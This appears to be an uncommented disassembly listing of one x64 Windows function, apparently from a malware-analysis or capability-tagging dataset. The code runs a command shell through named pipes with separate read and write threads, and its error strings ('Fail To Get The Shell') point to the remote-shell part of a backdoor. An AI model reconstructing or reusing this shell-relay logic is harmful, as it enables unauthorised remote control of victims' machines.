Function at 0x140045780
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x70
mov rdi, rcx
lea rcx, str.KERNEL32.DLL
movzx r12d, r9b
mov r14, r8
mov r13, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140084900]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
je 0x140045a86
lea rcx, str.KERNEL32.DLL
mov qword [rsp + 0x98], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x1400848f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x140045a7e
mov rcx, rdi
mov qword [rsp + 0x90], rbx
call fcn.14000db30
mov rbx, rax
test rax, rax
je 0x14004591b
movzx r8d, r12b
mov rdx, r13
mov rcx, rax
call fcn.14000dbc0
test eax, eax
jne 0x140045833
lea rdx, str._r_nFail_To_Get_The_Shell_r_n_r_n
jmp 0x140045882
xor r12d, r12d
lea rax, [rsp + 0x34]
mov dword [rsp + 0x38], reloc.ODBC32.dll_SQLAllocHandle
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x48], r12d
lea r8, [0x14000d9a0]
lea rcx, [rsp + 0x38]
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], r12d
mov qword [rbx + 0x18], rdi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x20], rax
test rax, rax
jne 0x1400458b1
lea rdx, str._r_nFail_To_Create_Read_Shell_r_n_r_n
mov rcx, rdi
call fcn.140015c20
mov rcx, qword [rbx + 0x18]
mov edx, 2
call qword [0x1400acde0]
mov rcx, qword [rbx + 0x18]
call fcn.14000cb00
mov rcx, rdi
call fcn.14000dd50
xor eax, eax
jmp 0x140045a76
lea rax, [rsp + 0x34]
lea r8, [0x140030a20]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x28], rax
test rax, rax
jne 0x140045922
lea rdx, str._r_nFail_To_Create_Write_Shell_r_n_r_n
mov rcx, rdi
call fcn.140015c20
mov rcx, qword [rbx + 0x18]
mov edx, 2
call qword [0x1400acde0]
mov rcx, qword [rbx + 0x18]
call fcn.14000cb00
mov rcx, qword [rbx + 0x28]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rdi
call fcn.14000dd50
xor eax, eax
jmp 0x140045a76
mov dword [rsp + 0x30], r12d
mov eax, dword [rsp + 0x30]
xor r8d, r8d
xchg dword [rbx + 0x3c], eax
mov rax, qword [rbx + 0x20]
mov dword [rbx + 0x38], 1
mov qword [rsp + 0x50], rax
mov rax, qword [rbx + 0x28]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov rax, qword [rbx + 0x10]
lea ecx, [r8 + 4]
mov qword [rsp + 0x60], rax
mov rax, qword [rbx + 0x30]
or r9d, 0xffffffff
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x1400459c6
sub eax, 1
je 0x1400459b1
sub eax, 1
je 0x14004599f
cmp eax, 1
jne 0x1400459d9
mov rcx, qword [rbx + 0x28]
xor edx, edx
call rsi
mov rcx, qword [rbx + 0x20]
xor edx, edx
call rsi
mov rcx, qword [rbx + 0x10]
mov edx, 1
call rbp
jmp 0x1400459d9
mov rcx, qword [rbx + 0x28]
xor edx, edx
call rsi
mov rcx, qword [rbx + 0x20]
xor edx, edx
call rsi
jmp 0x1400459d9
mov rcx, qword [rbx + 0x20]
xor edx, edx
call rsi
mov rcx, qword [rbx + 0x10]
mov edx, 1
call rbp
jmp 0x1400459d9
mov rcx, qword [rbx + 0x28]
xor edx, edx
call rsi
mov rcx, qword [rbx + 0x10]
mov edx, 1
call rbp
mov eax, dword [rbx + 0x3c]
xchg dword [rsp + 0x30], eax
mov ecx, dword [rsp + 0x30]
test ecx, ecx
jne 0x140045a02
lea edx, [rcx + 2]
mov rcx, qword [rbx + 0x18]
call qword [0x1400acde0]
mov rcx, qword [rbx + 0x18]
call fcn.14000cb00
mov byte [r14], 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x140045a1e
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbx]
test rcx, rcx
je 0x140045a1e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140045a2d
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140045a3c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140045a4b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x140045a5a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140045a69
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.14000dd50
mov eax, 1
mov rbx, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x98]
lea r11, [rsp + 0x70]
mov rbp, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret